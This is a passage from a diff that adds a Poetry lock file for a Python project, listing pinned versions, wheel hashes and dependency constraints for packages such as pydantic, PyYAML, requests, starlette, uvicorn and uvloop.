+ {file = "pydantic-1.10.11-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3f34739a89260dfa420aa3cbd069fbcc794b25bbe5c0a214f8fb29e363484b66"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:e297897eb4bebde985f72a46a7552a7556a3dd11e7f76acda0c1093e3dbcf216"},
+ {file = "pydantic-1.10.11-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:d185819a7a059550ecb85d5134e7d40f2565f3dd94cfd870132c5f91a89cf58c"},
+ {file = "pydantic-1.10.11-cp311-cp311-win_amd64.whl", hash = "sha256:4400015f15c9b464c9db2d5d951b6a780102cfa5870f2c036d37c23b56f7fc1b"},
+ {file = "pydantic-1.10.11-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:2417de68290434461a266271fc57274a138510dca19982336639484c73a07af6"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:331c031ba1554b974c98679bd0780d89670d6fd6f53f5d70b10bdc9addee1713"},
+ {file = "pydantic-1.10.11-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8268a735a14c308923e8958363e3a3404f6834bb98c11f5ab43251a4e410170c"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:44e51ba599c3ef227e168424e220cd3e544288c57829520dc90ea9cb190c3248"},
+ {file = "pydantic-1.10.11-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:d7781f1d13b19700b7949c5a639c764a077cbbdd4322ed505b449d3ca8edcb36"},
+ {file = "pydantic-1.10.11-cp37-cp37m-win_amd64.whl", hash = "sha256:7522a7666157aa22b812ce14c827574ddccc94f361237ca6ea8bb0d5c38f1629"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:bc64eab9b19cd794a380179ac0e6752335e9555d214cfcb755820333c0784cb3"},
+ {file = "pydantic-1.10.11-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:8dc77064471780262b6a68fe67e013298d130414d5aaf9b562c33987dbd2cf4f"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fe429898f2c9dd209bd0632a606bddc06f8bce081bbd03d1c775a45886e2c1cb"},
+ {file = "pydantic-1.10.11-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:192c608ad002a748e4a0bed2ddbcd98f9b56df50a7c24d9a931a8c5dd053bd3d"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:ef55392ec4bb5721f4ded1096241e4b7151ba6d50a50a80a2526c854f42e6a2f"},
+ {file = "pydantic-1.10.11-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:41e0bb6efe86281623abbeeb0be64eab740c865388ee934cd3e6a358784aca6e"},
+ {file = "pydantic-1.10.11-cp38-cp38-win_amd64.whl", hash = "sha256:265a60da42f9f27e0b1014eab8acd3e53bd0bad5c5b4884e98a55f8f596b2c19"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:469adf96c8e2c2bbfa655fc7735a2a82f4c543d9fee97bd113a7fb509bf5e622"},
+ {file = "pydantic-1.10.11-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e6cbfbd010b14c8a905a7b10f9fe090068d1744d46f9e0c021db28daeb8b6de1"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abade85268cc92dff86d6effcd917893130f0ff516f3d637f50dadc22ae93999"},
+ {file = "pydantic-1.10.11-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e9738b0f2e6c70f44ee0de53f2089d6002b10c33264abee07bdb5c7f03038303"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:787cf23e5a0cde753f2eabac1b2e73ae3844eb873fd1f5bdbff3048d8dbb7604"},
+ {file = "pydantic-1.10.11-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:174899023337b9fc685ac8adaa7b047050616136ccd30e9070627c1aaab53a13"},
+ {file = "pydantic-1.10.11-cp39-cp39-win_amd64.whl", hash = "sha256:1954f8778489a04b245a1e7b8b22a9d3ea8ef49337285693cf6959e4b757535e"},
+ {file = "pydantic-1.10.11-py3-none-any.whl", hash = "sha256:008c5e266c8aada206d0627a011504e14268a62091450210eda7c07fabe6963e"},
+ {file = "pydantic-1.10.11.tar.gz", hash = "sha256:f66d479cf7eb331372c470614be6511eae96f1f120344c25f3f9bb59fb1b5528"},
+]
+
+[package.dependencies]
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+dotenv = ["python-dotenv (>=0.10.4)"]
+email = ["email-validator (>=1.0.3)"]
+
+[[package]]
+name = "pygments"
+version = "2.15.1"
+description = "Pygments is a syntax highlighting package written in Python."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"},
+ {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"},
+]
+
+[package.extras]
+plugins = ["importlib-metadata"]
+
+[[package]]
+name = "pytest"
+version = "5.4.3"
+description = "pytest: simple powerful testing with Python"
+optional = false
+python-versions = ">=3.5"
+files = [
+ {file = "pytest-5.4.3-py3-none-any.whl", hash = "sha256:5c0db86b698e8f170ba4582a492248919255fcd4c79b1ee64ace34301fb589a1"},
+ {file = "pytest-5.4.3.tar.gz", hash = "sha256:7979331bfcba207414f5e1263b5a0f8f521d0f457318836a7355531ed1a4c7d8"},
+]
+
+[package.dependencies]
+atomicwrites = {version = ">=1.0", markers = "sys_platform == \"win32\""}
+attrs = ">=17.4.0"
+colorama = {version = "*", markers = "sys_platform == \"win32\""}
+more-itertools = ">=4.0.0"
+packaging = "*"
+pluggy = ">=0.12,<1.0"
+py = ">=1.5.0"
+wcwidth = "*"
+
+[package.extras]
+checkqa-mypy = ["mypy (==v0.761)"]
+testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "requests", "xmlschema"]
+
+[[package]]
+name = "python-dateutil"
+version = "2.8.2"
+description = "Extensions to the standard Python datetime module"
+optional = false
+python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,>=2.7"
+files = [
+ {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"},
+ {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"},
+]
+
+[package.dependencies]
+six = ">=1.5"
+
+[[package]]
+name = "python-dotenv"
+version = "1.0.0"
+description = "Read key-value pairs from a .env file and set them as environment variables"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "python-dotenv-1.0.0.tar.gz", hash = "sha256:a8df96034aae6d2d50a4ebe8216326c61c3eb64836776504fcca410e5937a3ba"},
+ {file = "python_dotenv-1.0.0-py3-none-any.whl", hash = "sha256:f5971a9226b701070a4bf2c38c89e5a3f0d64de8debda981d1db98583009122a"},
+]
+
+[package.extras]
+cli = ["click (>=5.0)"]
+
+[[package]]
+name = "python-multipart"
+version = "0.0.5"
+description = "A streaming multipart parser for Python"
+optional = false
+python-versions = "*"
+files = [
+ {file = "python-multipart-0.0.5.tar.gz", hash = "sha256:f7bb5f611fc600d15fa47b3974c8aa16e93724513b49b5f95c81e6624c83fa43"},
+]
+
+[package.dependencies]
+six = ">=1.4.0"
+
+[[package]]
+name = "pyyaml"
+version = "6.0"
+description = "YAML parser and emitter for Python"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "PyYAML-6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:d4db7c7aef085872ef65a8fd7d6d09a14ae91f691dec3e87ee5ee0539d516f53"},
+ {file = "PyYAML-6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9df7ed3b3d2e0ecfe09e14741b857df43adb5a3ddadc919a2d94fbdf78fea53c"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77f396e6ef4c73fdc33a9157446466f1cff553d979bd00ecb64385760c6babdc"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a80a78046a72361de73f8f395f1f1e49f956c6be882eed58505a15f3e430962b"},
+ {file = "PyYAML-6.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:f84fbc98b019fef2ee9a1cb3ce93e3187a6df0b2538a651bfb890254ba9f90b5"},
+ {file = "PyYAML-6.0-cp310-cp310-win32.whl", hash = "sha256:2cd5df3de48857ed0544b34e2d40e9fac445930039f3cfe4bcc592a1f836d513"},
+ {file = "PyYAML-6.0-cp310-cp310-win_amd64.whl", hash = "sha256:daf496c58a8c52083df09b80c860005194014c3698698d1a57cbcfa182142a3a"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d4b0ba9512519522b118090257be113b9468d804b19d63c71dbcf4a48fa32358"},
+ {file = "PyYAML-6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:81957921f441d50af23654aa6c5e5eaf9b06aba7f0a19c18a538dc7ef291c5a1"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:afa17f5bc4d1b10afd4466fd3a44dc0e245382deca5b3c353d8b757f9e3ecb8d"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dbad0e9d368bb989f4515da330b88a057617d16b6a8245084f1b05400f24609f"},
+ {file = "PyYAML-6.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:432557aa2c09802be39460360ddffd48156e30721f5e8d917f01d31694216782"},
+ {file = "PyYAML-6.0-cp311-cp311-win32.whl", hash = "sha256:bfaef573a63ba8923503d27530362590ff4f576c626d86a9fed95822a8255fd7"},
+ {file = "PyYAML-6.0-cp311-cp311-win_amd64.whl", hash = "sha256:01b45c0191e6d66c470b6cf1b9531a771a83c1c4208272ead47a3ae4f2f603bf"},
+ {file = "PyYAML-6.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:897b80890765f037df3403d22bab41627ca8811ae55e9a722fd0392850ec4d86"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:50602afada6d6cbfad699b0c7bb50d5ccffa7e46a3d738092afddc1f9758427f"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48c346915c114f5fdb3ead70312bd042a953a8ce5c7106d5bfb1a5254e47da92"},
+ {file = "PyYAML-6.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:98c4d36e99714e55cfbaaee6dd5badbc9a1ec339ebfc3b1f52e293aee6bb71a4"},
+ {file = "PyYAML-6.0-cp36-cp36m-win32.whl", hash = "sha256:0283c35a6a9fbf047493e3a0ce8d79ef5030852c51e9d911a27badfde0605293"},
+ {file = "PyYAML-6.0-cp36-cp36m-win_amd64.whl", hash = "sha256:07751360502caac1c067a8132d150cf3d61339af5691fe9e87803040dbc5db57"},
+ {file = "PyYAML-6.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:819b3830a1543db06c4d4b865e70ded25be52a2e0631ccd2f6a47a2822f2fd7c"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:473f9edb243cb1935ab5a084eb238d842fb8f404ed2193a915d1784b5a6b5fc0"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0ce82d761c532fe4ec3f87fc45688bdd3a4c1dc5e0b4a19814b9009a29baefd4"},
+ {file = "PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:231710d57adfd809ef5d34183b8ed1eeae3f76459c18fb4a0b373ad56bedcdd9"},
+ {file = "PyYAML-6.0-cp37-cp37m-win32.whl", hash = "sha256:c5687b8d43cf58545ade1fe3e055f70eac7a5a1a0bf42824308d868289a95737"},
+ {file = "PyYAML-6.0-cp37-cp37m-win_amd64.whl", hash = "sha256:d15a181d1ecd0d4270dc32edb46f7cb7733c7c508857278d3d378d14d606db2d"},
+ {file = "PyYAML-6.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:0b4624f379dab24d3725ffde76559cff63d9ec94e1736b556dacdfebe5ab6d4b"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:213c60cd50106436cc818accf5baa1aba61c0189ff610f64f4a3e8c6726218ba"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9fa600030013c4de8165339db93d182b9431076eb98eb40ee068700c9c813e34"},
+ {file = "PyYAML-6.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:277a0ef2981ca40581a47093e9e2d13b3f1fbbeffae064c1d21bfceba2030287"},
+ {file = "PyYAML-6.0-cp38-cp38-win32.whl", hash = "sha256:d4eccecf9adf6fbcc6861a38015c2a64f38b9d94838ac1810a9023a0609e1b78"},
+ {file = "PyYAML-6.0-cp38-cp38-win_amd64.whl", hash = "sha256:1e4747bc279b4f613a09eb64bba2ba602d8a6664c6ce6396a4d0cd413a50ce07"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:055d937d65826939cb044fc8c9b08889e8c743fdc6a32b33e2390f66013e449b"},
+ {file = "PyYAML-6.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e61ceaab6f49fb8bdfaa0f92c4b57bcfbea54c09277b1b4f7ac376bfb7a7c174"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d67d839ede4ed1b28a4e8909735fc992a923cdb84e618544973d7dfc71540803"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cba8c411ef271aa037d7357a2bc8f9ee8b58b9965831d9e51baf703280dc73d3"},
+ {file = "PyYAML-6.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:40527857252b61eacd1d9af500c3337ba8deb8fc298940291486c465c8b46ec0"},
+ {file = "PyYAML-6.0-cp39-cp39-win32.whl", hash = "sha256:b5b9eccad747aabaaffbc6064800670f0c297e52c12754eb1d976c57e4f74dcb"},
+ {file = "PyYAML-6.0-cp39-cp39-win_amd64.whl", hash = "sha256:b3d267842bf12586ba6c734f89d1f5b871df0273157918b0ccefa29deb05c21c"},
+ {file = "PyYAML-6.0.tar.gz", hash = "sha256:68fb519c14306fec9720a2a5b45bc9f0c8d1b9c72adf45c37baedfcd949c35a2"},
+]
+
+[[package]]
+name = "requests"
+version = "2.31.0"
+description = "Python HTTP for Humans."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "requests-2.31.0-py3-none-any.whl", hash = "sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003f"},
+ {file = "requests-2.31.0.tar.gz", hash = "sha256:942c5a758f98d790eaed1a29cb6eefc7ffb0d1cf7af05c3d2791656dbd6ad1e1"},
+]
+
+[package.dependencies]
+certifi = ">=2017.4.17"
+charset-normalizer = ">=2,<4"
+idna = ">=2.5,<4"
+urllib3 = ">=1.21.1,<3"
+
+[package.extras]
+socks = ["PySocks (>=1.5.6,!=1.5.7)"]
+use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"]
+
+[[package]]
+name = "rich"
+version = "13.4.2"
+description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal"
+optional = false
+python-versions = ">=3.7.0"
+files = [
+ {file = "rich-13.4.2-py3-none-any.whl", hash = "sha256:8f87bc7ee54675732fa66a05ebfe489e27264caeeff3728c945d25971b6485ec"},
+ {file = "rich-13.4.2.tar.gz", hash = "sha256:d653d6bccede5844304c605d5aac802c7cf9621efd700b46c7ec2b51ea914898"},
+]
+
+[package.dependencies]
+markdown-it-py = ">=2.2.0"
+pygments = ">=2.13.0,<3.0.0"
+
+[package.extras]
+jupyter = ["ipywidgets (>=7.5.1,<9)"]
+
+[[package]]
+name = "s3transfer"
+version = "0.6.1"
+description = "An Amazon S3 Transfer Manager"
+optional = false
+python-versions = ">= 3.7"
+files = [
+ {file = "s3transfer-0.6.1-py3-none-any.whl", hash = "sha256:3c0da2d074bf35d6870ef157158641178a4204a6e689e82546083e31e0311346"},
+ {file = "s3transfer-0.6.1.tar.gz", hash = "sha256:640bb492711f4c0c0905e1f62b6aaeb771881935ad27884852411f8e9cacbca9"},
+]
+
+[package.dependencies]
+botocore = ">=1.12.36,<2.0a.0"
+
+[package.extras]
+crt = ["botocore[crt] (>=1.20.29,<2.0a.0)"]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.0"
+description = "Sniff out which async library your code is running under"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"},
+ {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"},
+]
+
+[[package]]
+name = "starlette"
+version = "0.19.1"
+description = "The little ASGI library that shines."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"},
+ {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"},
+]
+
+[package.dependencies]
+anyio = ">=3.4.0,<5"
+typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""}
+
+[package.extras]
+full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"]
+
+[[package]]
+name = "structlog"
+version = "23.1.0"
+description = "Structured Logging for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"},
+ {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"},
+]
+
+[package.extras]
+dev = ["structlog[docs,tests,typing]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"]
+tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"]
+typing = ["mypy", "rich", "twisted"]
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "types-protobuf"
+version = "4.23.0.1"
+description = "Typing stubs for protobuf"
+optional = false
+python-versions = "*"
+files = [
+ {file = "types-protobuf-4.23.0.1.tar.gz", hash = "sha256:7bd5ea122a057b11a82b785d9de464932a1e9175fe977a4128adef11d7f35547"},
+ {file = "types_protobuf-4.23.0.1-py3-none-any.whl", hash = "sha256:c926104f69ea62103846681b35b690d8d100ecf86c6cdda16c850a1313a272e4"},
+]
+
+[[package]]
+name = "typing"
+version = "3.7.4.3"
+description = "Type Hints for Python"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*"
+files = [
+ {file = "typing-3.7.4.3-py2-none-any.whl", hash = "sha256:283d868f5071ab9ad873e5e52268d611e851c870a2ba354193026f2dfb29d8b5"},
+ {file = "typing-3.7.4.3.tar.gz", hash = "sha256:1187fb9c82fd670d10aa07bbb6cfcfe4bdda42d6fab8d5134f04e8c4d0b71cc9"},
+]
+
+[[package]]
+name = "typing-extensions"
+version = "4.7.1"
+description = "Backported and Experimental Type Hints for Python 3.7+"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "typing_extensions-4.7.1-py3-none-any.whl", hash = "sha256:440d5dd3af93b060174bf433bccd69b0babc3b15b1a8dca43789fd7f61514b36"},
+ {file = "typing_extensions-4.7.1.tar.gz", hash = "sha256:b75ddc264f0ba5615db7ba217daeb99701ad295353c45f9e95963337ceeeffb2"},
+]
+
+[[package]]
+name = "urllib3"
+version = "1.26.16"
+description = "HTTP library with thread-safe connection pooling, file post, and more."
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*, !=3.5.*"
+files = [
+ {file = "urllib3-1.26.16-py2.py3-none-any.whl", hash = "sha256:8d36afa7616d8ab714608411b4a3b13e58f463aee519024578e062e141dce20f"},
+ {file = "urllib3-1.26.16.tar.gz", hash = "sha256:8f135f6502756bde6b2a9b28989df5fbe87c9970cecaa69041edcce7f0589b14"},
+]
+
+[package.extras]
+brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)", "brotlipy (>=0.6.0)"]
+secure = ["certifi", "cryptography (>=1.3.4)", "idna (>=2.0.0)", "ipaddress", "pyOpenSSL (>=0.14)", "urllib3-secure-extra"]
+socks = ["PySocks (>=1.5.6,!=1.5.7,<2.0)"]
+
+[[package]]
+name = "uvicorn"
+version = "0.18.3"
+description = "The lightning-fast ASGI server."
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvicorn-0.18.3-py3-none-any.whl", hash = "sha256:0abd429ebb41e604ed8d2be6c60530de3408f250e8d2d84967d85ba9e86fe3af"},
+ {file = "uvicorn-0.18.3.tar.gz", hash = "sha256:9a66e7c42a2a95222f76ec24a4b754c158261c4696e683b9dadc72b590e0311b"},
+]
+
+[package.dependencies]
+click = ">=7.0"
+colorama = {version = ">=0.4", optional = true, markers = "sys_platform == \"win32\" and extra == \"standard\""}
+h11 = ">=0.8"
+httptools = {version = ">=0.4.0", optional = true, markers = "extra == \"standard\""}
+python-dotenv = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+pyyaml = {version = ">=5.1", optional = true, markers = "extra == \"standard\""}
+uvloop = {version = ">=0.14.0,<0.15.0 || >0.15.0,<0.15.1 || >0.15.1", optional = true, markers = "(sys_platform != \"win32\" and sys_platform != \"cygwin\") and platform_python_implementation != \"PyPy\" and extra == \"standard\""}
+watchfiles = {version = ">=0.13", optional = true, markers = "extra == \"standard\""}
+websockets = {version = ">=10.0", optional = true, markers = "extra == \"standard\""}
+
+[package.extras]
+standard = ["colorama (>=0.4)", "httptools (>=0.4.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.0)"]
+
+[[package]]
+name = "uvloop"
+version = "0.17.0"
+description = "Fast implementation of asyncio event loop on top of libuv"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:ce9f61938d7155f79d3cb2ffa663147d4a76d16e08f65e2c66b77bd41b356718"},
+ {file = "uvloop-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:68532f4349fd3900b839f588972b3392ee56042e440dd5873dfbbcd2cc67617c"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0949caf774b9fcefc7c5756bacbbbd3fc4c05a6b7eebc7c7ad6f825b23998d6d"},
+ {file = "uvloop-0.17.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff3d00b70ce95adce264462c930fbaecb29718ba6563db354608f37e49e09024"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:a5abddb3558d3f0a78949c750644a67be31e47936042d4f6c888dd6f3c95f4aa"},
+ {file = "uvloop-0.17.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8efcadc5a0003d3a6e887ccc1fb44dec25594f117a94e3127954c05cf144d811"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3378eb62c63bf336ae2070599e49089005771cc651c8769aaad72d1bd9385a7c"},
+ {file = "uvloop-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:6aafa5a78b9e62493539456f8b646f85abc7093dd997f4976bb105537cf2635e"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c686a47d57ca910a2572fddfe9912819880b8765e2f01dc0dd12a9bf8573e539"},
+ {file = "uvloop-0.17.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:864e1197139d651a76c81757db5eb199db8866e13acb0dfe96e6fc5d1cf45fc4"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:2a6149e1defac0faf505406259561bc14b034cdf1d4711a3ddcdfbaa8d825a05"},
+ {file = "uvloop-0.17.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:6708f30db9117f115eadc4f125c2a10c1a50d711461699a0cbfaa45b9a78e376"},
+ {file = "uvloop-0.17.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:23609ca361a7fc587031429fa25ad2ed7242941adec948f9d10c045bfecab06b"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2deae0b0fb00a6af41fe60a675cec079615b01d68beb4cc7b722424406b126a8"},
+ {file = "uvloop-0.17.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:45cea33b208971e87a31c17622e4b440cac231766ec11e5d22c76fab3bf9df62"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:9b09e0f0ac29eee0451d71798878eae5a4e6a91aa275e114037b27f7db72702d"},
+ {file = "uvloop-0.17.0-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:dbbaf9da2ee98ee2531e0c780455f2841e4675ff580ecf93fe5c48fe733b5667"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:a4aee22ece20958888eedbad20e4dbb03c37533e010fb824161b4f05e641f738"},
+ {file = "uvloop-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:307958f9fc5c8bb01fad752d1345168c0abc5d62c1b72a4a8c6c06f042b45b20"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ebeeec6a6641d0adb2ea71dcfb76017602ee2bfd8213e3fcc18d8f699c5104f"},
+ {file = "uvloop-0.17.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1436c8673c1563422213ac6907789ecb2b070f5939b9cbff9ef7113f2b531595"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:8887d675a64cfc59f4ecd34382e5b4f0ef4ae1da37ed665adba0c2badf0d6578"},
+ {file = "uvloop-0.17.0-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:3db8de10ed684995a7f34a001f15b374c230f7655ae840964d51496e2f8a8474"},
